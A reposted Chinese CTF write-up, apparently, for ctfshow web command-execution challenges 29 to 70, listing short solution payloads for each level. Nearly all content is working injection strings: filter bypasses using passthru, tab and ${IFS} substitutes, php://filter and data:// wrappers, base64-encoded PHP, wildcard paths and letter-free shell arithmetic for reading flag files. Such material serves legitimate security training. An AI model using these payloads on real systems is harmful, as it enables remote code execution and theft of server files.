ctfshow WEB入門 命令執行 29-70


web29

過濾了flag
?c=system("cat f*");

web30

過濾了system|flag,用一個代替system()的函數
?c=passthru("cat f*");

web31

過濾了system|cat|flag|空格
?c=passthru("more%09f*");

web32

在前面的基礎上,過濾了括號,但沒過濾雙引號
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

過濾了引號
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

同33

web35

同33

web36

在前面的基礎上,過濾了數字,解法同33

web37

這里用了PHP文件包含函數include(),利用偽協議讀flag

data://,類似php://input,可以讓用戶來控制輸入流,當它與包含函數結合時,用戶輸入的data://流會被當作php文件執行。

POC:?c=data://text/plain,<?php system("cat f*");

web38

在37的基礎上,過濾了php,利用base64編碼繞過
POC:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
//PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=是<?php system("cat flag.php");

web39

?c=data://text/plain<?php system("cat f*");?>

web40

?c=system("cat flag");
過濾了引號、$、冒號,還不能用偽協議
一般括號里參數都要用引號,這里學習一下無參數RCE(remote command/code execute)

參考GXYCTF2019禁止套娃
解題參考:無參數讀文件和RCE總結
無參數的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能帶參數。

  • print_r(scandir('.'));查看當前目錄下的所有文件名
  • localeconv() 函數返回一包含本地數字及貨幣格式信息的數組。
  • current() 函數返回數組中的當前元素(單元),默認取第一個值,和pos()一樣
    但是這題過濾了引號,不能有參數,找一個代替'.'的東西
    print_r(scandir(current(localeconv())));打印出當前目錄下文件
    flag.php在倒數第二個,直接用next(array_reverse());
    paylaod:?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web41(unsolved)

web42

?c=ls;
?c=cat flag.php;

web43

過濾了;|cat

?c=ls%0a
?c=more flag.php%0a

web44

過濾了;|cat|flag

?c=ls%0a
?c=more f*%0a

web45

過濾了;|cat|flag|空格

?c=ls%0a
?c=more${IFS}f*%0a

web46

過濾了;|cat|flag|空格|數字|$|*

?c=ls%0a
?c=more%09fla?.php%0a

web47

過濾了;|cat|flag|空格|數字|$|*|幾個查看文件命令

?c=ls%0a
?c=nl%09fla?.php%0a

web48

同47

web49

同47

web50

過濾了;|cat|flag|空格|數字|$|*|幾個查看文件命令|%

?c=ls%0a
?c=nl<>fla\g.php%0a
(環境問題,通配符不好使

web51

同50

web52

過濾了;|cat|flag|空格|數字|*|幾個查看文件命令|%|<>
查看當前目錄下的文件:
?c=ls%0a
查看flag.php:
?c=nl${IFS}fla\g.php%0a
里面是假的。。。
嘗試查看根目下的所有目錄:
?c=ls${IFS}/%0a
查看根目錄下的flag:
?c=nl${IFS}/fla\g%0a

web53

過濾了;|cat|flag|空格|數字|*|幾個查看文件命令|%|<>
?c=ls

?c=nl${IFS}fla?.php

web54

過濾了;|cat|flag|空格|數字|查看文件命令nl等|`|%|\x09(空格)|\x26(&)|<|>
?c=ls%0a  回顯flag.php
?c=cat flag.php;
即?c=paste${IFS}fla?.php

web55

參考:繼無字母數字的命令執行(ctfshow web入門 55)新姿勢

過濾了;|小寫字母|`|%|\x09(空格)|\x26(&)|<|>

因為過濾了字母,有一個含數字的base64命令可以讀文件,用通配符繞過字母,在/bin目錄下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???

解法2:
bzip2命令是一個壓縮文件的命令,壓縮文件后綴為.bz2,命令路徑:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
壓縮后下載,訪問/flag.php.bz2。

web56(unsolved)

web57

過濾了字母、數字、分號、2個通配符
又學到一個點
echo ${_} #返回上一次的執行結果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

POST:c=show_source('flag.php');

web59-65

題和58一樣。。。

web66

用show_source(),回顯該函數被禁用
直接讀flag.php,發現位置不對
查看根目錄下的文件:
POST:c=print_r(scandir("/"));
POST:c=highlight_file('/flag.txt');

web67

print_r()被禁用
查看根目錄下有哪些文件:
POST:c=var_dump(scandir("/"));
POST:c=highlight_file('/flag.txt');

web68

show_source()和highlight_file()被禁用
POST:c=include('/flag.txt');

web69

查看根目錄下的文件:
print_r()、var_dump()被禁用
POST:c=var_export(scandir("/"));
POST:c=include('/flag.txt');

web70

error_reporting() 、 ini_set()、 highlight_file()被禁用
看根目錄的文件:
POST:c=include('/flag.txt');


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM